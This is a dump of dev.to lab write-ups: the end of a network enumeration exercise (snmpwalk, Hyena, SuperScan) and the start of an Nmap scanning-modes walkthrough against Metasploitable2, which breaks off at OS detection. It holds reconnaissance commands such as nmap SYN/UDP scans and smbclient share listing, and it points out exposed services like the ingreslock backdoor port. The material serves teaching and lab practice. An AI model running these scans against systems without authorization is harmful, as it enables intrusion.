&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fahcx227kdr6p58g5jh0g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fahcx227kdr6p58g5jh0g.png" alt=" " width="800" height="619"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What snmpwalk returned (selected highlights):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;iso.3.6.1.2.1.1.1.0 = STRING: "Linux kali 6.18.12+kali-amd64 #1 SMP..."
iso.3.6.1.2.1.1.4.0 = STRING: "Me &amp;lt;me@example.org&amp;gt;"
iso.3.6.1.2.1.1.5.0 = STRING: "kali"
iso.3.6.1.2.1.1.6.0 = STRING: "Sitting on the Dock of the Bay"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
iso.3.6.1.2.1.25.1.2.0 = Hex-STRING: 07 EA 05 02 16 34 24 00 2D 07 00
iso.3.6.1.2.1.25.1.4.0 = STRING: "BOOT_IMAGE=/boot/vmlinuz-6.18.12+kali-amd64 root=/dev/sda1 ro quiet splash"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In a real engagement, SNMP with &lt;code&gt;public&lt;/code&gt; or &lt;code&gt;private&lt;/code&gt; as community strings can expose running&lt;br&gt;
processes, installed software, network interfaces, routing tables, and more — all without&lt;br&gt;
authentication.&lt;/p&gt;




&lt;h2&gt;
  
  
  Step 5 — GUI Tools for Windows Enumeration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Advanced IP Scanner
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbxzvf9pot6wqoq2bjse8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbxzvf9pot6wqoq2bjse8.png" alt=" " width="800" height="752"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Scanned &lt;code&gt;192.168.1.1-255&lt;/code&gt;. Found 2 alive hosts visible from the Windows VM. Simple, clean&lt;br&gt;
output with hostname, IP, manufacturer, and MAC address columns. Good for quick host discovery&lt;br&gt;
when you want a point-and-click interface.&lt;/p&gt;

&lt;h3&gt;
  
  
  Hyena
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxjten1h74io3c6e80iya.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fxjten1h74io3c6e80iya.png" alt=" " width="799" height="744"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Hyena connected to the local workstation (&lt;code&gt;\\WINDOWS10&lt;/code&gt;) and enumerated 5 local user&lt;br&gt;
accounts. The left panel exposes Drives, Local Connections, Users, Local Groups, Printers,&lt;br&gt;
Shares, Services, Events, Registry, and WMI — essentially everything you could pull from the&lt;br&gt;
command line, wrapped in a tree-view GUI. Useful for comprehensive local system auditing.&lt;/p&gt;

&lt;h3&gt;
  
  
  SuperScan
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flriwhajfjl60zr6tcgb7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Flriwhajfjl60zr6tcgb7.png" alt=" " width="800" height="611"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;SuperScan 4.1 scanned &lt;code&gt;192.168.1.1–254&lt;/code&gt; and found 4 live hosts. Notable result for&lt;br&gt;
&lt;code&gt;192.168.1.3&lt;/code&gt; (Metasploitable2): 78 open UDP ports detected, including 67, 68, 69, 111, 123,&lt;br&gt;
137, 138, 161, 445, 500, 514, 520, 1009, 1024–1028, 2049, 2140, 4500, and many&lt;br&gt;
ephemeral ports. This confirms SNMP (161) and NFS (2049) exposure on the target.&lt;/p&gt;

&lt;h3&gt;
  
  
  SoftPerfect Network Scanner
&lt;/h3&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fldl00er5v8xcs79brzfg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fldl00er5v8xcs79brzfg.png" alt=" " width="799" height="609"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;SoftPerfect returned all 4 hosts with MAC addresses and automatically resolved hostnames for&lt;br&gt;
two of them: &lt;code&gt;METASPLOITABLE&lt;/code&gt; (192.168.1.3) and &lt;code&gt;Windows10&lt;/code&gt; (192.168.1.6). Response times&lt;br&gt;
were near-zero for local hosts. Clean and fast — my preferred tool for a quick visual inventory.&lt;/p&gt;

&lt;h3&gt;
  
  
  ADExplorer
&lt;/h3&gt;

&lt;p&gt;ADExplorer requires a Domain Controller. Since the test machine was a standalone workgroup&lt;br&gt;
machine, it returned: &lt;em&gt;"The specified domain either does not exist or could not be contacted."&lt;/em&gt;&lt;br&gt;
This is expected behavior — ADExplorer is the right tool when you are assessing an environment&lt;br&gt;
with Active Directory, not a workgroup setup.&lt;/p&gt;




&lt;h2&gt;
  
  
  How to Verify Your Results
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Check&lt;/th&gt;
&lt;th&gt;Command / Action&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Confirm Metasploitable2 IP&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;ping 192.168.1.3&lt;/code&gt; from Kali&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Verify open ports&lt;/td&gt;
&lt;td&gt;&lt;code&gt;nmap -sSV 192.168.1.3&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Confirm SNMP is running&lt;/td&gt;
&lt;td&gt;&lt;code&gt;nmap -sU -p 161 &amp;lt;target&amp;gt;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Validate enum4linux output&lt;/td&gt;
&lt;td&gt;Cross-check users against &lt;code&gt;net user&lt;/code&gt; on Windows target&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Verify shares exist&lt;/td&gt;
&lt;td&gt;&lt;code&gt;smbclient -L //192.168.1.5 -U khalif&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  What I Learned
&lt;/h2&gt;

&lt;p&gt;Running these tools back-to-back in sequence — rather than in isolation — made a few things&lt;br&gt;
obvious that are easy to miss when you read about them separately.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Enumeration is cumulative.&lt;/strong&gt; The ping sweep gives you a host list. The SYN scan turns that&lt;br&gt;
list into a service map. Enum4linux takes one host from that map and extracts users, groups,&lt;br&gt;
and policy. Each step feeds the next.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SNMP is underestimated.&lt;/strong&gt; A single &lt;code&gt;snmpwalk&lt;/code&gt; against a device with a default community&lt;br&gt;
string returns kernel version, hostname, boot parameters, uptime, and interface information&lt;br&gt;
without any authentication. Most people think of it as "network monitoring" — attackers think of&lt;br&gt;
it as a free intelligence feed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Passive vs. active matters.&lt;/strong&gt; The SYN scan is stealthy in the sense that it does not complete&lt;br&gt;
the TCP handshake, but it still generates network traffic. On a monitored network, a sweep of&lt;br&gt;
this scale would trigger alerts. Knowing where each tool sits on the visibility spectrum matters&lt;br&gt;
when you are planning an engagement.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tool redundancy has value.&lt;/strong&gt; SuperScan, SoftPerfect, and Advanced IP Scanner all found live&lt;br&gt;
hosts — but they presented different detail levels. Having multiple tools confirm the same finding&lt;br&gt;
increases confidence. And occasionally one will catch something another missed.&lt;/p&gt;




&lt;h2&gt;
  
  
  Common Mistakes
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mistake&lt;/th&gt;
&lt;th&gt;What Actually Happens&lt;/th&gt;
&lt;th&gt;Fix&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Running &lt;code&gt;nmap&lt;/code&gt; without &lt;code&gt;sudo&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;SYN scan falls back to TCP connect scan — more detectable&lt;/td&gt;
&lt;td&gt;Always use &lt;code&gt;sudo&lt;/code&gt; for &lt;code&gt;-sS&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Wrong CIDR on ping sweep&lt;/td&gt;
&lt;td&gt;Misses hosts or scans outside your network&lt;/td&gt;
&lt;td&gt;Double-check with &lt;code&gt;ip addr&lt;/code&gt; before scanning&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Using default &lt;code&gt;public&lt;/code&gt; community string assumption&lt;/td&gt;
&lt;td&gt;Some targets use &lt;code&gt;private&lt;/code&gt; or custom strings&lt;/td&gt;
&lt;td&gt;Try &lt;code&gt;snmpwalk&lt;/code&gt; with multiple community strings&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Forgetting &lt;code&gt;-U&lt;/code&gt; flag is case-sensitive in enum4linux&lt;/td&gt;
&lt;td&gt;May return no results or auth errors&lt;/td&gt;
&lt;td&gt;Use lowercase flags exactly as documented&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Expecting ADExplorer to work on workgroup machines&lt;/td&gt;
&lt;td&gt;It requires a Domain Controller&lt;/td&gt;
&lt;td&gt;Only use ADExplorer in AD environments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Treating open shares as accessible&lt;/td&gt;
&lt;td&gt;ADMIN$ and C$ showed up but mapping was denied&lt;/td&gt;
&lt;td&gt;Enumeration ≠ access — verify with explicit mount attempts&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Enumeration is not a single tool or a single command — it is a phase. You layer your findings:&lt;br&gt;
network topology from the ping sweep, service exposure from the SYN scan, identity data from&lt;br&gt;
enum4linux, system internals from SNMP, and a visual confirmation from GUI tools. By the end&lt;br&gt;
of this exercise, I had a full picture of every host on the network, the OS details of the Linux&lt;br&gt;
target, the user accounts and password policy of the Windows target, and the SNMP tree of a&lt;br&gt;
local system.&lt;/p&gt;

&lt;p&gt;The real skill is knowing which tool to reach for at each stage — and knowing what to do with&lt;br&gt;
the output once you have it.&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>networking</category>
      <category>linux</category>
      <category>ethicalhacking</category>
    </item>
    <item>
      <title>I Scanned a Vulnerable VM with Every Nmap Mode — Here Is What Each One Revealed</title>
      <dc:creator>Khalif AL Mahmud</dc:creator>
      <pubDate>Thu, 25 Jun 2026 16:03:36 +0000</pubDate>
      <link>https://dev.to/almahmudkhalif/i-scanned-a-vulnerable-vm-with-every-nmap-mode-here-is-what-each-one-revealed-2eo5</link>
      <guid>https://dev.to/almahmudkhalif/i-scanned-a-vulnerable-vm-with-every-nmap-mode-here-is-what-each-one-revealed-2eo5</guid>
      <description>&lt;p&gt;Passive reconnaissance tells you what a target has exposed to the internet. Active scanning tells you what is actually running — open ports, services, versions, operating system, and more. The two phases together give you a complete picture before you write a single line of exploit code.&lt;/p&gt;

&lt;p&gt;I set up an isolated lab environment with Kali Linux and Metasploitable2 — a deliberately vulnerable Linux VM used for security testing practice — and ran every major Nmap scanning mode against it. Host discovery, TCP scanning, UDP scanning, OS detection, service version fingerprinting, and a full aggressive scan.&lt;/p&gt;

&lt;p&gt;This article walks through each mode, the exact commands, and what the output actually means from a security perspective.&lt;/p&gt;




&lt;h2&gt;
  
  
  Lab Setup
&lt;/h2&gt;

&lt;p&gt;Two VMs on an isolated NAT network in VirtualBox:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Machine&lt;/th&gt;
&lt;th&gt;IP Address&lt;/th&gt;
&lt;th&gt;Role&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Kali Linux 2026.1&lt;/td&gt;
&lt;td&gt;192.168.1.4&lt;/td&gt;
&lt;td&gt;Attacker&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Metasploitable2&lt;/td&gt;
&lt;td&gt;192.168.1.3&lt;/td&gt;
&lt;td&gt;Target&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Both connected to the same internal network with no external internet access — a clean, noise-free environment for packet capture.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;--version&lt;/span&gt;
&lt;span class="c"&gt;# Nmap version 7.99&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fb2o04va5s6dkvh0q1o8b.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fb2o04va5s6dkvh0q1o8b.png" alt=" " width="798" height="185"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyrssjo7aw9a9t04pwpnw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fyrssjo7aw9a9t04pwpnw.png" alt=" " width="800" height="474"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fh6v14s6cunv1uzdypwk7.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fh6v14s6cunv1uzdypwk7.png" alt=" " width="718" height="450"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Task 1: Host Discovery — What Does Nmap Send Before It Scans?
&lt;/h2&gt;

&lt;p&gt;Before Nmap scans any ports, it needs to confirm the target is alive. The &lt;code&gt;-sn&lt;/code&gt; flag runs host discovery only — no port scanning.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; 192.168.1.3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;On a local ethernet network as root, Nmap uses ARP&lt;/strong&gt; — not ICMP or TCP. ARP (Address Resolution Protocol) is a layer-2 protocol that maps IP addresses to MAC addresses. On a local network, ARP requests always get through because they operate below the IP layer. Firewalls that block ICMP cannot block ARP.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fl5gnjtfpkdq5355ncrr1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fl5gnjtfpkdq5355ncrr1.png" alt=" " width="799" height="357"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The Wireshark trace confirms: Nmap sent an ARP request (&lt;code&gt;Who has 192.168.1.3? Tell 192.168.1.4&lt;/code&gt;) and received an ARP reply. No ICMP, no TCP — just ARP. This is why running Nmap with &lt;code&gt;sudo&lt;/code&gt; on a local network behaves differently from running it without.&lt;/p&gt;

&lt;h3&gt;
  
  
  Host Discovery Against a Remote Target: 8.8.8.8
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sn&lt;/span&gt; 8.8.8.8
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;8.8.8.8 is Google's public DNS server. Because it is not on the local ethernet segment, ARP does not work — ARP only operates within a single broadcast domain. So Nmap switches to IP-layer methods:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;ICMP Echo Request&lt;/strong&gt; (ping)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ICMP Timestamp Request&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TCP SYN → port 443&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;TCP ACK → port 80&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbecr0tuqci7y8ryvhl18.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fbecr0tuqci7y8ryvhl18.png" alt=" " width="800" height="364"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reverse DNS hostname:&lt;/strong&gt; Nmap also sends a PTR record lookup for &lt;code&gt;8.8.8.8.in-addr.arpa&lt;/code&gt;. The response comes back as &lt;code&gt;dns.google&lt;/code&gt; — confirming that 8.8.8.8 is Google's DNS infrastructure.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What replies came back:&lt;/strong&gt; Nmap received an ICMP Echo Reply from 8.8.8.8, confirming the host is online. The TCP SYN packets may not have received responses depending on Google's firewall, but the ICMP reply was sufficient to mark the host as up.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key insight:&lt;/strong&gt; ARP for local targets, ICMP+TCP for remote targets. The method changes based on network layer reachability, not the target OS.&lt;/p&gt;




&lt;h2&gt;
  
  
  Task 2: TCP Port Scanning — The Full Port Map
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sT&lt;/span&gt; 192.168.1.3   &lt;span class="c"&gt;# Connect scan — completes full TCP handshake&lt;/span&gt;
&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sS&lt;/span&gt; 192.168.1.3   &lt;span class="c"&gt;# SYN scan — sends SYN, reads response, sends RST&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The SYN scan (&lt;code&gt;-sS&lt;/code&gt;) is faster and quieter — it never completes the three-way handshake. The connect scan (&lt;code&gt;-sT&lt;/code&gt;) is noisier but works without root privileges. Both returned identical results here.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0a29hbsfeoi61wzti7cc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0a29hbsfeoi61wzti7cc.png" alt=" " width="800" height="503"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp51k49p0dfb8rycov4wa.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp51k49p0dfb8rycov4wa.png" alt=" " width="800" height="453"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Full PORT | STATE | SERVICE table:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PORT      STATE  SERVICE
21/tcp    open   ftp
22/tcp    open   ssh
23/tcp    open   telnet
25/tcp    open   smtp
53/tcp    open   domain
80/tcp    open   http
111/tcp   open   rpcbind
139/tcp   open   netbios-ssn
445/tcp   open   microsoft-ds
512/tcp   open   exec
513/tcp   open   login
514/tcp   open   shell
1099/tcp  open   rmiregistry
1524/tcp  open   ingreslock
2049/tcp  open   nfs
2121/tcp  open   ccproxy-ftp
3306/tcp  open   mysql
5432/tcp  open   postgresql
5900/tcp  open   vnc
6000/tcp  open   X11
6667/tcp  open   irc
8009/tcp  open   ajp13
8180/tcp  open   unknown
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;23 ports open. 977 ports closed.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;From a security standpoint this is a serious exposure. Telnet (23) sends credentials in plaintext. Ports 512/513/514 are r-services — remote execution with notoriously weak authentication. Port 1524/ingreslock on Metasploitable2 is an intentional backdoor shell. MySQL (3306) and PostgreSQL (5432) are directly reachable with no firewall. VNC (5900) gives graphical remote access. IRC on 6667 is a classic botnet C2 channel.&lt;/p&gt;




&lt;h2&gt;
  
  
  Task 3: UDP Port Scanning — The Overlooked Protocol
&lt;/h2&gt;

&lt;p&gt;UDP scanning is slower and trickier than TCP because UDP is connectionless — there is no SYN-ACK to confirm a port is open. Nmap infers state from service responses or the absence of ICMP "port unreachable" messages.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-sU&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-T4&lt;/span&gt; &lt;span class="nt"&gt;--top-ports&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;100 192.168.1.3
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;-sU&lt;/code&gt; — UDP scan&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-sV&lt;/code&gt; — service version detection (critical for UDP accuracy)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-T4&lt;/code&gt; — aggressive timing (safe on a local VM)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;--top-ports=100&lt;/code&gt; — scan only the 100 most common UDP ports&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp1vrizvpdhjz1ovznj29.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Fp1vrizvpdhjz1ovznj29.png" alt=" " width="800" height="529"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4 UDP ports confirmed open:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Port&lt;/th&gt;
&lt;th&gt;Service&lt;/th&gt;
&lt;th&gt;Version&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;53/udp&lt;/td&gt;
&lt;td&gt;domain&lt;/td&gt;
&lt;td&gt;ISC BIND 9.4.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;111/udp&lt;/td&gt;
&lt;td&gt;rpcbind&lt;/td&gt;
&lt;td&gt;2 (RPC #100000)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;137/udp&lt;/td&gt;
&lt;td&gt;netbios-ns&lt;/td&gt;
&lt;td&gt;Microsoft Windows netbios-ns (workgroup: WORKGROUP)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2049/udp&lt;/td&gt;
&lt;td&gt;nfs&lt;/td&gt;
&lt;td&gt;2-4 (RPC #100003)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;ISC BIND 9.4.2&lt;/strong&gt; is a 2008-era DNS server with known vulnerabilities. &lt;strong&gt;NFS on 2049&lt;/strong&gt; means the filesystem may be network-mountable. &lt;strong&gt;NetBIOS on 137&lt;/strong&gt; leaks network naming information. Without &lt;code&gt;-sV&lt;/code&gt;, most of these would have shown as &lt;code&gt;open|filtered&lt;/code&gt; — the version probe is what confirmed them as definitively open.&lt;/p&gt;




&lt;h2&gt;
  
  
  Task 4: OS Detection — Fingerprinting the Kernel
&lt;/h2&gt;

&lt;p&gt;Nmap's OS detection sends specially crafted packets and analyzes TCP/IP stack characteristics — ISN sampling, TTL values, window sizes — that vary between operating systems.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nmap &lt;span class="nt"&gt;-O&lt;/span&gt; 192.168.1.3
